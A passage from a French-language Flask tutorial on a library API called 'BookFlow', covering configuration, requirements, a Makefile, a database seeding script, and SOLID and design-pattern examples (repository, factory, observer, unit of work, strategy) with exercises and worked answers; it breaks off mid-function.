      JWT_ACCESS_TOKEN_EXPIRES  = timedelta(minutes=5)
      JWT_REFRESH_TOKEN_EXPIRES = timedelta(hours=1)

      # Faux SMTP (ne pas envoyer de vrais emails en test)
      MAIL_SERVER    = 'localhost'
      MAIL_PORT      = 1025
      MAIL_USE_TLS   = False
      MAIL_SUPPRESS_SEND = True  # Supprime l'envoi réel

  class ProductionConfig(Config):
      """Production — sécurité maximale."""
      ENV   = 'production'
      DEBUG = False
      TESTING = False

      SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL')
      SQLALCHEMY_ECHO = False

      CACHE_TYPE = os.getenv('CACHE_TYPE', 'RedisCache')
      CACHE_REDIS_URL = os.getenv('REDIS_URL')

      # HTTPS obligatoire
      SESSION_COOKIE_SECURE = True
      SESSION_COOKIE_HTTPONLY = True
      SESSION_COOKIE_SAMESITE = 'Lax'
      PREFERRED_URL_SCHEME = 'https'

      # Vérifications critiques au démarrage
      @classmethod
      def valider(cls):
          """Vérifie que toutes les variables critiques sont définies."""
          obligatoires = [
              'SECRET_KEY', 'JWT_SECRET_KEY', 'DATABASE_URL',
              'MAIL_USERNAME', 'MAIL_PASSWORD'
          ]
          manquantes = [v for v in obligatoires if not os.getenv(v)]
          if manquantes:
              raise EnvironmentError(
                  f"Variables d'environnement manquantes en production : "
                  f"{', '.join(manquantes)}"
              )

  config_map = {
      'development': DevelopmentConfig,
      'testing':     TestingConfig,
      'production':  ProductionConfig,
      'default':     DevelopmentConfig
  }

  def get_config(env: str = None) -> Config:
      """Retourne la configuration pour l'environnement donné."""
      env = env or os.getenv('FLASK_ENV', 'development')
      cfg_class = config_map.get(env, DevelopmentConfig)
      if env == 'production':
          cfg_class.valider()
      return cfg_class


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  REQUIREMENTS ET MAKEFILE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

REQUIREMENTS.TXT (production) :

  # requirements.txt
  # Framework
  Flask==3.0.0
  Werkzeug==3.0.1

  # Base de données
  Flask-SQLAlchemy==3.1.1
  Flask-Migrate==4.0.5
  psycopg2-binary==2.9.9    # Driver PostgreSQL

  # Authentification
  Flask-JWT-Extended==4.6.0
  bcrypt==4.1.2

  # Validation et sérialisation
  marshmallow==3.20.1
  flask-marshmallow==1.2.0
  marshmallow-sqlalchemy==1.0.0
  email-validator==2.1.0

  # Email
  Flask-Mail==0.9.1

  # CORS
  Flask-Cors==4.0.0

  # Rate limiting
  Flask-Limiter==3.5.0

  # Cache
  Flask-Caching==2.1.0
  redis==5.0.1             # Pour le cache Redis en prod

  # Documentation
  flasgger==0.9.7.1

  # Utilitaires
  python-dotenv==1.0.0
  Pillow==10.2.0           # Traitement images
  pyotp==2.9.0             # 2FA TOTP

  # Production WSGI
  gunicorn==21.2.0

REQUIREMENTS-DEV.TXT (développement) :

  # requirements-dev.txt
  -r requirements.txt

  # Tests
  pytest==7.4.4
  pytest-flask==1.3.0
  pytest-cov==4.1.0
  factory-boy==3.3.0       # Factories pour les tests
  faker==22.0.0            # Données de test

  # Qualité code
  flake8==7.0.0
  black==24.1.1            # Formatage automatique
  isort==5.13.2            # Tri des imports
  mypy==1.8.0              # Type checking

  # Debug
  flask-debugtoolbar==0.14.1

MAKEFILE — commandes courantes :

  # Makefile
  .PHONY: install run test lint format migrate seed

  # Variables
  FLASK_APP = run.py
  PYTHON = python

  install:
  	pip install -r requirements-dev.txt

  run:
  	FLASK_ENV=development flask run --reload

  run-prod:
  	gunicorn -w 4 -b 0.0.0.0:5000 "app:create_app('production')"

  test:
  	pytest tests/ -v --cov=app --cov-report=html

  test-unit:
  	pytest tests/unit/ -v

  test-integration:
  	pytest tests/integration/ -v

  lint:
  	flake8 app/ tests/
  	mypy app/

  format:
  	black app/ tests/
  	isort app/ tests/

  migrate:
  	flask db migrate -m "$(message)"
  	flask db upgrade

  seed:
  	python scripts/seed_db.py

  create-admin:
  	python scripts/create_admin.py

  clean:
  	find . -type f -name "*.pyc" -delete
  	find . -type d -name "__pycache__" -delete
  	find . -type d -name ".pytest_cache" -delete

  shell:
  	flask shell

  routes:
  	flask routes


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  SCRIPT DE SEEDING (DONNÉES DE TEST)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # scripts/seed_db.py
  """
  Peuple la base de données avec des données de démonstration.
  Usage : python scripts/seed_db.py
  """
  import sys
  import os
  sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))

  from app import create_app, db
  from app.models import Utilisateur, Livre, Categorie, Avis, Emprunt
  from datetime import datetime, timezone, timedelta

  def seed():
      app = create_app('development')
      with app.app_context():
          print("Nettoyage de la BDD...")
          db.drop_all()
          db.create_all()

          print("Création des catégories...")
          categories = {
              'sf':       Categorie(nom='Science-Fiction', slug='science-fiction', icone='[RAPIDE]'),
              'fantasy':  Categorie(nom='Fantasy',         slug='fantasy',         icone='[MAGE]'),
              'dystopie': Categorie(nom='Dystopie',        slug='dystopie',        icone='[ATTENTION]'),
              'policier': Categorie(nom='Policier',        slug='policier',        icone='[RECHERCHE]'),
          }
          db.session.add_all(categories.values())

          print("Création des livres...")
          livres_data = [
              {'titre': 'Dune',            'auteur': 'Frank Herbert',  'pages': 900,  'genre': 'science-fiction', 'prix': 9.99,  'isbn': '9780441013593'},
              {'titre': 'Le Hobbit',       'auteur': 'J.R.R. Tolkien', 'pages': 310,  'genre': 'fantasy',         'prix': 8.50,  'isbn': '9782070612888'},
              {'titre': '1984',            'auteur': 'George Orwell',  'pages': 328,  'genre': 'dystopie',        'prix': 7.90,  'isbn': '9782072762093'},
              {'titre': 'Foundation',      'auteur': 'Isaac Asimov',   'pages': 255,  'genre': 'science-fiction', 'prix': 8.99,  'isbn': '9780553293357'},
              {'titre': 'Neuromancer',     'auteur': 'William Gibson', 'pages': 271,  'genre': 'science-fiction', 'prix': 8.50,  'isbn': '9780441569595'},
              {'titre': 'Hyperion',        'auteur': 'Dan Simmons',    'pages': 482,  'genre': 'science-fiction', 'prix': 10.50, 'isbn': '9780553283686'},
              {'titre': 'Le Nom du Vent',  'auteur': 'Patrick Rothfuss','pages': 694, 'genre': 'fantasy',         'prix': 11.99, 'isbn': '9782811200398'},
              {'titre': 'Brave New World', 'auteur': 'Aldous Huxley',  'pages': 311,  'genre': 'dystopie',        'prix': 7.50,  'isbn': '9780060850524'},
          ]
          livres = []
          for data in livres_data:
              l = Livre(**data, disponible=True)
              livres.append(l)
              db.session.add(l)

          db.session.flush()  # Obtenir les IDs

          # Associer les catégories
          livres[0].categories.append(categories['sf'])
          livres[1].categories.append(categories['fantasy'])
          livres[2].categories.append(categories['dystopie'])

          print("Création des utilisateurs...")
          admin = Utilisateur(nom='Admin BookFlow', email='admin@bookflow.com', role='admin', est_actif=True, est_verifie=True)
          admin.set_password('Admin123!')

          user1 = Utilisateur(nom='Momo Traoré', email='momo@bookflow.com', role='user', est_actif=True, est_verifie=True)
          user1.set_password('User1234!')

          user2 = Utilisateur(nom='Fatou Diallo', email='fatou@bookflow.com', role='user', est_actif=True, est_verifie=True)
          user2.set_password('User1234!')

          db.session.add_all([admin, user1, user2])
          db.session.flush()

          print("Création des avis...")
          avis_data = [
              Avis(livre_id=livres[0].id, user_id=user1.id, note=5, commentaire="Chef-d'œuvre absolu de la SF !"),
              Avis(livre_id=livres[0].id, user_id=user2.id, note=4, commentaire="Long mais passionnant"),
              Avis(livre_id=livres[1].id, user_id=user1.id, note=5, commentaire="Le livre qui m'a donné le goût de la fantasy"),
          ]
          db.session.add_all(avis_data)

          print("Création des emprunts...")
          maintenant = datetime.now(timezone.utc)
          emprunts = [
              Emprunt(
                  user_id=user1.id, livre_id=livres[2].id,
                  date_debut=maintenant - timedelta(days=3),
                  date_retour_prevue=maintenant + timedelta(days=11),
                  statut='en_cours'
              )
          ]
          livres[2].disponible = False
          db.session.add_all(emprunts)

          db.session.commit()
          print("[OK] Base de données peuplée avec succès !")
          print(f"   -> {len(livres_data)} livres")
          print(f"   -> 3 utilisateurs (admin@bookflow.com, momo@bookflow.com, fatou@bookflow.com)")
          print(f"   -> {len(avis_data)} avis")
          print(f"   -> {len(emprunts)} emprunt en cours")

  if __name__ == '__main__':
      seed()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 34.1 : Crée extensions.py avec toutes les extensions BookFlow.
    Migre create_app() pour utiliser ces extensions centralisées.

  Exercice 34.2 : Crée requirements.txt et requirements-dev.txt séparés.
    Ajoute un Makefile avec les commandes : install, run, test, lint.

  Exercice 34.3 : Crée le script scripts/seed_db.py et peuple ta BDD.
    Vérifie avec flask shell que les données sont bien insérées.

NIVEAU INTERMÉDIAIRE :
  Exercice 34.4 : Implémente la validation de la config en production.
    ProductionConfig.valider() doit lever une erreur si SECRET_KEY
    ou DATABASE_URL sont manquants ou trop courts.

  Exercice 34.5 : Crée un script scripts/create_admin.py interactif
    qui demande email, nom, mot de passe dans le terminal et crée l'admin.

NIVEAU AVANCÉ :
  Exercice 34.6 : Configure un fichier pyproject.toml avec :
    - metadata du projet (nom, version, description)
    - configuration flake8 (max-line-length=120)
    - configuration pytest (testpaths, addopts)
    - configuration black (line-length=120)
    - configuration isort (profile=black)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 34.5 — Script create_admin.py :

  #!/usr/bin/env python
  # scripts/create_admin.py
  """Crée un administrateur BookFlow de manière interactive."""
  import sys, os
  sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))

  import getpass  # Saisie masquée du mot de passe

  def creer_admin():
      print("\n[SECURISE] Création d'un administrateur BookFlow")
      print("─" * 40)

      # Saisie interactive
      nom = input("Nom complet : ").strip()
      if not nom or len(nom) < 2:
          print("[X] Nom invalide")
          sys.exit(1)

      email = input("Email : ").strip().lower()
      if '@' not in email:
          print("[X] Email invalide")
          sys.exit(1)

      mdp = getpass.getpass("Mot de passe (masqué) : ")
      mdp_confirm = getpass.getpass("Confirmer le mot de passe : ")

      if mdp != mdp_confirm:
          print("[X] Les mots de passe ne correspondent pas")
          sys.exit(1)

      if len(mdp) < 8:
          print("[X] Mot de passe trop court (min 8 caractères)")
          sys.exit(1)

      # Créer dans la BDD
      from app import create_app, db
      from app.models import Utilisateur

      app = create_app(os.getenv('FLASK_ENV', 'development'))
      with app.app_context():
          # Vérifier que l'email n'existe pas déjà
          existant = Utilisateur.query.filter_by(email=email).first()
          if existant:
              print(f"[X] L'email {email} est déjà utilisé")
              sys.exit(1)

          admin = Utilisateur(
              nom=nom, email=email, role='admin',
              est_actif=True, est_verifie=True
          )
          admin.set_password(mdp)
          db.session.add(admin)
          db.session.commit()

          print(f"\n[OK] Administrateur créé avec succès !")
          print(f"   Email : {email}")
          print(f"   Rôle  : admin")
          print(f"   ID    : {admin.id}")

  if __name__ == '__main__':
      creer_admin()

CORRIGÉ 34.6 — pyproject.toml :

  # pyproject.toml
  [tool.poetry]
  name = "bookflow-api"
  version = "1.0.0"
  description = "API REST de gestion de bibliothèque en ligne"
  authors = ["Momo Traore <momo@bookflow.com>"]
  readme = "README.md"
  packages = [{include = "app"}]

  [tool.pytest.ini_options]
  testpaths = ["tests"]
  addopts = "-v --cov=app --cov-report=term-missing"
  filterwarnings = ["ignore::DeprecationWarning"]

  [tool.black]
  line-length = 120
  target-version = ["py311"]
  include = '\.pyi?$'
  exclude = '''
  /(
      migrations
    | __pycache__
    | .venv
  )/
  '''

  [tool.isort]
  profile = "black"
  line_length = 120
  known_first_party = ["app"]

  [tool.flake8]
  max-line-length = 120
  exclude = [".git", "__pycache__", "migrations", "venv"]
  ignore = ["E203", "W503"]

  [tool.mypy]
  python_version = "3.11"
  ignore_missing_imports = true
  warn_return_any = true
  warn_unused_configs = true


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 35 — CLEAN ARCHITECTURE ET DESIGN PATTERNS POUR FLASK           ║
║     Principes SOLID, Repository Pattern, Factory, Observer et plus               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  LES PRINCIPES SOLID APPLIQUÉS À FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SOLID est un ensemble de 5 principes de conception orientée objet.

S — SINGLE RESPONSIBILITY PRINCIPLE (SRP)
   Une classe/fonction = UNE SEULE responsabilité.

  # [X] Mauvais : tout dans la route
  @app.route('/livres', methods=['POST'])
  def creer_livre():
      data = request.get_json()
      # Validation ici
      if not data.get('titre'):
          return jsonify({'error': 'titre requis'}), 400
      # Logique métier ici
      if Livre.query.filter_by(isbn=data.get('isbn')).first():
          return jsonify({'error': 'ISBN existe'}), 409
      # Persistance ici
      livre = Livre(**data)
      db.session.add(livre)
      db.session.commit()
      # Email ici
      envoyer_email_notification(livre)
      return jsonify(livre.to_dict()), 201

  # [OK] Bon : chaque classe a sa responsabilité
  @app.route('/livres', methods=['POST'])
  def creer_livre():
      try:
          livre = LivreService().creer(request.get_json())  # Délègue tout
          return jsonify(livre.to_dict()), 201
      except ValueError as e:
          return jsonify({'error': str(e)}), 400

  class LivreService:
      def creer(self, data: dict) -> Livre:
          valider_livre(data)                        # Validation
          self._verifier_isbn_unique(data)           # Règle métier
          livre = LivreRepository.creer(**data)      # Persistance
          NotificationService.livre_cree(livre)      # Notification
          return livre

O — OPEN/CLOSED PRINCIPLE (OCP)
   Ouvert à l'extension, fermé à la modification.

  # Ajouter un format d'export sans modifier le code existant
  class ExporteurLivres:
      """Base — fermée à la modification."""
      def exporter(self, livres: list) -> str:
          raise NotImplementedError

  class ExporteurCSV(ExporteurLivres):
      """Extension — sans toucher à la base."""
      def exporter(self, livres: list) -> str:
          # ...CSV...
          pass

  class ExporteurJSON(ExporteurLivres):
      def exporter(self, livres: list) -> str:
          # ...JSON...
          pass

  class ExporteurExcel(ExporteurLivres):  # Nouvelle extension, pas de modif
      def exporter(self, livres: list) -> str:
          # ...Excel...
          pass

L — LISKOV SUBSTITUTION PRINCIPLE (LSP)
   Les sous-classes peuvent remplacer leurs classes parentes.

  # Tous les exporteurs peuvent être utilisés de façon interchangeable
  def generer_rapport(exporteur: ExporteurLivres, livres: list):
      return exporteur.exporter(livres)  # Fonctionne avec n'importe quel exporteur

I — INTERFACE SEGREGATION PRINCIPLE (ISP)
   Interfaces petites et spécialisées plutôt qu'une grande interface.

  # [X] Interface trop large
  class IRepository:
      def creer(self): pass
      def lire(self): pass
      def modifier(self): pass
      def supprimer(self): pass
      def rechercher(self): pass
      def paginer(self): pass
      def compter(self): pass
      def exporter(self): pass

  # [OK] Interfaces spécialisées
  class ILectureRepository:
      def lire(self, id): pass
      def lister(self): pass

  class IEcritureRepository:
      def creer(self, data): pass
      def modifier(self, id, data): pass
      def supprimer(self, id): pass

D — DEPENDENCY INVERSION PRINCIPLE (DIP)
   Dépendre des abstractions, pas des implémentations.

  # [X] Dépendance directe à SQLAlchemy
  class LivreService:
      def get_livres(self):
          return Livre.query.all()  # Couplé à SQLAlchemy

  # [OK] Injection de dépendance
  class LivreService:
      def __init__(self, repo: ILectureRepository = None):
          self.repo = repo or LivreRepository()  # Par défaut, SQLAlchemy

      def get_livres(self):
          return self.repo.lister()  # Peut être remplacé par un mock en test !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  REPOSITORY PATTERN GÉNÉRIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un Repository générique évite de répéter le même code CRUD dans chaque modèle.

  # app/repositories/base_repository.py
  from typing import Generic, TypeVar, Type, Optional, List
  from app.extensions import db

  T = TypeVar('T')  # Type générique représentant n'importe quel modèle

  class BaseRepository(Generic[T]):
      """
      Repository générique avec opérations CRUD communes.
      Hériter pour les modèles spécifiques.

      Usage :
          class LivreRepository(BaseRepository[Livre]):
              model = Livre
      """

      model: Type[T] = None

      @classmethod
      def creer(cls, **kwargs) -> T:
          """Crée un enregistrement et le flush (pas de commit)."""
          instance = cls.model(**kwargs)
          db.session.add(instance)
          db.session.flush()
          return instance

      @classmethod
      def trouver(cls, id: int) -> Optional[T]:
          """Retourne l'enregistrement ou None."""
          return cls.model.query.get(id)

      @classmethod
      def trouver_ou_404(cls, id: int) -> T:
          """Retourne l'enregistrement ou lève 404."""
          return db.get_or_404(cls.model, id)

      @classmethod
      def trouver_par(cls, **kwargs) -> Optional[T]:
          """Retourne le premier enregistrement correspondant."""
          return cls.model.query.filter_by(**kwargs).first()

      @classmethod
      def lister(cls, **filtres) -> List[T]:
          """Retourne tous les enregistrements (avec filtres optionnels)."""
          if filtres:
              return cls.model.query.filter_by(**filtres).all()
          return cls.model.query.all()

      @classmethod
      def modifier(cls, instance: T, **kwargs) -> T:
          """Modifie les attributs d'une instance."""
          for cle, valeur in kwargs.items():
              if hasattr(instance, cle):
                  setattr(instance, cle, valeur)
          return instance

      @classmethod
      def supprimer(cls, instance: T) -> None:
          """Supprime une instance de la session."""
          db.session.delete(instance)

      @classmethod
      def existe(cls, **kwargs) -> bool:
          """Vérifie si un enregistrement existe."""
          return cls.model.query.filter_by(**kwargs).first() is not None

      @classmethod
      def compter(cls, **filtres) -> int:
          """Compte les enregistrements."""
          if filtres:
              return cls.model.query.filter_by(**filtres).count()
          return cls.model.query.count()

      @classmethod
      def paginer(cls, page=1, per_page=10, **filtres):
          """Pagine les enregistrements."""
          query = cls.model.query
          if filtres:
              query = query.filter_by(**filtres)
          return query.paginate(page=page, per_page=per_page, error_out=False)

  # Repositories spécifiques héritent du générique
  class LivreRepository(BaseRepository[Livre]):
      model = Livre

      # Méthodes spécialisées en plus des génériques
      @classmethod
      def actifs(cls):
          return cls.model.query.filter(cls.model.supprime_le.is_(None))

      @classmethod
      def trouver_par_isbn(cls, isbn: str) -> Optional[Livre]:
          return cls.model.query.filter_by(isbn=isbn).first()

  class UtilisateurRepository(BaseRepository[Utilisateur]):
      model = Utilisateur

      @classmethod
      def trouver_par_email(cls, email: str) -> Optional[Utilisateur]:
          return cls.model.query.filter_by(email=email.lower()).first()

  class EmpruntRepository(BaseRepository[Emprunt]):
      model = Emprunt

      @classmethod
      def en_cours_par_user(cls, user_id: int) -> List[Emprunt]:
          return cls.model.query.filter_by(
              user_id=user_id, statut='en_cours'
          ).all()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  FACTORY PATTERN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le Factory Pattern encapsule la création d'objets complexes.

  # Déjà utilisé : create_app() est un Application Factory
  # Voici d'autres usages dans BookFlow

  # Factory pour les réponses API
  class ReponseFactory:
      """Crée des réponses API cohérentes."""

      @staticmethod
      def succes(data=None, message=None, code=200, meta=None):
          payload = {'success': True}
          if data is not None: payload['data'] = data
          if message: payload['message'] = message
          if meta: payload['meta'] = meta
          return jsonify(payload), code

      @staticmethod
      def erreur(message, code=400, details=None, type_url=None):
          payload = {
              'type':   type_url or f'about:blank',
              'title':  message,
              'status': code,
              'detail': message
          }
          if details: payload['errors'] = details
          return jsonify(payload), code

      @staticmethod
      def cree(data, message=None, location=None):
          response = ReponseFactory.succes(data, message, 201)
          if location:
              response[0].headers['Location'] = location
          return response

      @staticmethod
      def supprime():
          return '', 204

  # Factory pour les emails
  class EmailFactory:
      """Crée les messages email selon le type."""

      TEMPLATES = {
          'bienvenue':          ('Bienvenue sur BookFlow !',              'emails/bienvenue'),
          'reset_mdp':          ('Réinitialisation de mot de passe',       'emails/reset_mdp'),
          'verification_email': ('Vérifiez votre adresse email',           'emails/verification'),
          'nouvel_emprunt':     ('Confirmation d\'emprunt BookFlow',        'emails/emprunt'),
          'retard_emprunt':     ('Rappel : retour de livre en retard',      'emails/retard'),
      }

      @classmethod
      def creer(cls, type_email: str, destinataire: str, **contexte):
          if type_email not in cls.TEMPLATES:
              raise ValueError(f"Type d'email inconnu : {type_email}")
          sujet, template = cls.TEMPLATES[type_email]
          return {
              'sujet': sujet,
              'template': template,
              'destinataire': destinataire,
              'contexte': contexte
          }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  OBSERVER PATTERN (ÉVÉNEMENTS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'Observer Pattern permet de découpler la logique métier des effets
de bord (emails, notifications, logs, etc.)

  # app/events/event_bus.py
  from typing import Callable, Dict, List
  import threading

  class EventBus:
      """
      Bus d'événements simple (Observer/Pub-Sub pattern).
      Permet à différentes parties de l'app de réagir aux événements
      sans couplage direct.
      """

      _listeners: Dict[str, List[Callable]] = {}
      _verrou = threading.Lock()

      @classmethod
      def abonner(cls, evenement: str, callback: Callable):
          """S'abonner à un type d'événement."""
          with cls._verrou:
              if evenement not in cls._listeners:
                  cls._listeners[evenement] = []
              cls._listeners[evenement].append(callback)

      @classmethod
      def publier(cls, evenement: str, **donnees):
          """Publier un événement (appelle tous les abonnés)."""
          callbacks = cls._listeners.get(evenement, [])
          for callback in callbacks:
              try:
                  callback(**donnees)
              except Exception as e:
                  from flask import current_app
                  current_app.logger.error(
                      f"Erreur handler événement '{evenement}': {e}"
                  )

  # Décorateur pour s'abonner facilement
  def on_event(evenement: str):
      def decorateur(f):
          EventBus.abonner(evenement, f)
          return f
      return decorateur

  # ÉVÉNEMENTS DÉFINIS
  EVENEMENTS = {
      'livre.cree':           'Nouveau livre ajouté au catalogue',
      'livre.supprime':       'Livre supprimé du catalogue',
      'utilisateur.inscrit':  'Nouvel utilisateur inscrit',
      'emprunt.cree':         'Nouveau livre emprunté',
      'emprunt.retourne':     'Livre retourné',
      'emprunt.retard':       'Emprunt en retard détecté',
  }

  # HANDLERS (abonnés aux événements)

  # app/events/handlers/email_handlers.py
  from app.events.event_bus import on_event
  from app.utils.email import envoyer_email

  @on_event('utilisateur.inscrit')
  def envoyer_bienvenue(user, **kwargs):
      """Envoie l'email de bienvenue à l'inscription."""
      envoyer_email(user.email, 'Bienvenue sur BookFlow !', 'emails/bienvenue', user=user)

  @on_event('emprunt.retard')
  def envoyer_rappel_retard(emprunt, **kwargs):
      """Envoie un rappel de retard."""
      envoyer_email(
          emprunt.utilisateur.email,
          'Rappel : retour de livre',
          'emails/retard',
          emprunt=emprunt
      )

  # app/events/handlers/audit_handlers.py
  @on_event('livre.cree')
  @on_event('livre.supprime')
  def logguer_action_livre(livre, action='', user=None, **kwargs):
      """Loggue les actions sur les livres."""
      from flask import current_app
      current_app.logger.info(
          f"[AUDIT] {action} livre id={livre.id} titre='{livre.titre}' "
          f"user={user.email if user else 'system'}"
      )

  # UTILISATION DANS LE SERVICE
  class LivreService:
      def creer_livre(self, data: dict, user=None) -> Livre:
          livre = LivreRepository.creer(**data)
          db.session.commit()

          # Publier l'événement -> tous les handlers sont notifiés
          EventBus.publier('livre.cree', livre=livre, user=user)

          return livre

  class AuthService:
      def register(self, data: dict) -> Utilisateur:
          user = Utilisateur.creer(**data)
          db.session.commit()

          # L'email de bienvenue est envoyé automatiquement via l'event
          EventBus.publier('utilisateur.inscrit', user=user)

          return user


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  UNIT OF WORK PATTERN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le Unit of Work regroupe plusieurs opérations BDD en une transaction atomique.

  # app/repositories/unit_of_work.py
  from contextlib import contextmanager
  from app.extensions import db

  class UnitOfWork:
      """
      Encapsule une transaction de base de données.
      Garantit l'atomicité : tout réussit ou tout échoue.
      """

      def __init__(self):
          self.livres    = LivreRepository
          self.users     = UtilisateurRepository
          self.emprunts  = EmpruntRepository

      def __enter__(self):
          return self

      def __exit__(self, exc_type, exc_val, exc_tb):
          if exc_type:
              db.session.rollback()  # Erreur -> annuler tout
          else:
              db.session.commit()    # Succès -> valider tout
          return False  # Re-lever l'exception si elle existe

      def commit(self):
          db.session.commit()

      def rollback(self):
          db.session.rollback()

  @contextmanager
  def unit_of_work():
      """Context manager pour les transactions."""
      uow = UnitOfWork()
      try:
          yield uow
          db.session.commit()
      except Exception:
          db.session.rollback()
          raise

  # Utilisation dans le service
  class EmpruntService:
      def emprunter_livre(self, user_id: int, livre_id: int) -> Emprunt:
          """
          Emprunter un livre = opération atomique :
          1. Créer l'emprunt
          2. Marquer le livre comme indisponible
          -> Les deux ou aucun
          """
          with unit_of_work() as uow:
              livre = uow.livres.trouver_ou_404(livre_id)

              if not livre.disponible:
                  raise ConflitError("Livre non disponible")

              emprunt = uow.emprunts.creer(
                  user_id=user_id,
                  livre_id=livre_id,
                  date_debut=datetime.now(timezone.utc),
                  date_retour_prevue=datetime.now(timezone.utc) + timedelta(days=14),
                  statut='en_cours'
              )
              uow.livres.modifier(livre, disponible=False)

              # commit() automatique à la sortie du `with`

          # Événement publié APRÈS le commit (données cohérentes)
          EventBus.publier('emprunt.cree', emprunt=emprunt)
          return emprunt


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 35.1 : Identifie les violations SOLID dans ce code et corrige-les :
    def route_connexion():
        email = request.form['email']
        user = Utilisateur.query.filter_by(email=email).first()
        if user:
            token = jwt.encode({'id': user.id}, app.config['SECRET_KEY'])
            send_mail(user.email, "Connexion", f"Token: {token}")
        return jsonify({'token': token})

  Exercice 35.2 : Implémente le BaseRepository générique et fais hériter
    LivreRepository, UtilisateurRepository et EmpruntRepository.
    Teste les méthodes creer, trouver, lister, compter.

  Exercice 35.3 : Utilise le EventBus pour envoyer un email de confirmation
    lors de la création d'un emprunt, sans modifier le service directement.

NIVEAU INTERMÉDIAIRE :
  Exercice 35.4 : Implémente le Unit of Work pour la méthode emprunter_livre.
    Simule une erreur dans la mise à jour du livre et vérifie que
    l'emprunt n'est pas créé (rollback atomique).

  Exercice 35.5 : Crée un ReponseFactory complet et remplace tous les
    jsonify({'success': True, 'data': ...}) par ReponseFactory.succes().

NIVEAU AVANCÉ :
  Exercice 35.6 : Implémente le pattern Strategy pour les exporteurs :
    - IExporteur (interface)
    - ExporteurCSV, ExporteurJSON, ExporteurXML (implémentations)
    - ServiceExport qui utilise n'importe quelle stratégie
    - Route GET /api/v1/livres/export?format=csv|json|xml

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 35.1 — Violations SOLID :

  # VIOLATIONS IDENTIFIÉES :
  # 1. SRP : La route fait valider, authentifier, générer token ET envoyer email
  # 2. DIP : Dépendance directe à Utilisateur.query (SQLAlchemy)
  # 3. DIP : Accès direct à app.config (couplé à Flask)
  # 4. SRP : jwt.encode dans la route (devrait être dans un service)
  # 5. Pas de gestion d'erreur si user is None (token non défini)

  # CORRECTION :
  class AuthService:
      def connecter(self, email: str, mdp: str) -> dict:
          user = UtilisateurRepository.trouver_par_email(email)
          if not user or not user.check_password(mdp):
              raise ValueError("Identifiants incorrects")
          tokens = generer_tokens(user)              # Responsabilité déléguée
          EventBus.publier('user.connecte', user=user) # Découplé
          return tokens

  @auth_bp.route('/login', methods=['POST'])
  def route_connexion():
      data = request.get_json(silent=True) or {}
      try:
          tokens = AuthService().connecter(
              data.get('email', ''),
              data.get('mot_de_passe', '')
          )
          return jsonify({'success': True, 'data': tokens})
      except ValueError as e:
          return jsonify({'error': str(e)}), 401

CORRIGÉ 35.6 — Pattern Strategy pour l'export :

  import csv, json, io
  from abc import ABC, abstractmethod
  from flask import Response

  class IExporteur(ABC):
      """Interface Exporteur — Strategy."""
      @abstractmethod
      def nom(self) -> str: pass
      @abstractmethod
      def content_type(self) -> str: pass
      @abstractmethod
      def extension(self) -> str: pass
      @abstractmethod
      def exporter(self, livres: list) -> str: pass

  class ExporteurCSV(IExporteur):
      def nom(self): return 'csv'
      def content_type(self): return 'text/csv'
      def extension(self): return 'csv'
      def exporter(self, livres: list) -> str:
          buf = io.StringIO()
          champs = ['id', 'titre', 'auteur', 'genre', 'pages', 'prix']
          w = csv.DictWriter(buf, fieldnames=champs, extrasaction='ignore')
          w.writeheader()
          w.writerows(livres)
          return buf.getvalue()

  class ExporteurJSON(IExporteur):
      def nom(self): return 'json'
      def content_type(self): return 'application/json'
      def extension(self): return 'json'
      def exporter(self, livres: list) -> str:
          return json.dumps({'livres': livres}, ensure_ascii=False, indent=2)

  class ExporteurXML(IExporteur):
      def nom(self): return 'xml'
      def content_type(self): return 'application/xml'
      def extension(self): return 'xml'
      def exporter(self, livres: list) -> str:
          lignes = ['<?xml version="1.0" encoding="UTF-8"?>', '<livres>']
          for l in livres:
              lignes.append('  <livre>')
              for k, v in l.items():
                  lignes.append(f'    <{k}>{v}</{k}>')
              lignes.append('  </livre>')
          lignes.append('</livres>')
          return '\n'.join(lignes)

  class ServiceExport:
      EXPORTEURS = {e().nom(): e() for e in [ExporteurCSV, ExporteurJSON, ExporteurXML]}

      @classmethod
      def exporter(cls, format: str, livres: list) -> Response:
          exporteur = cls.EXPORTEURS.get(format.lower())
          if not exporteur:
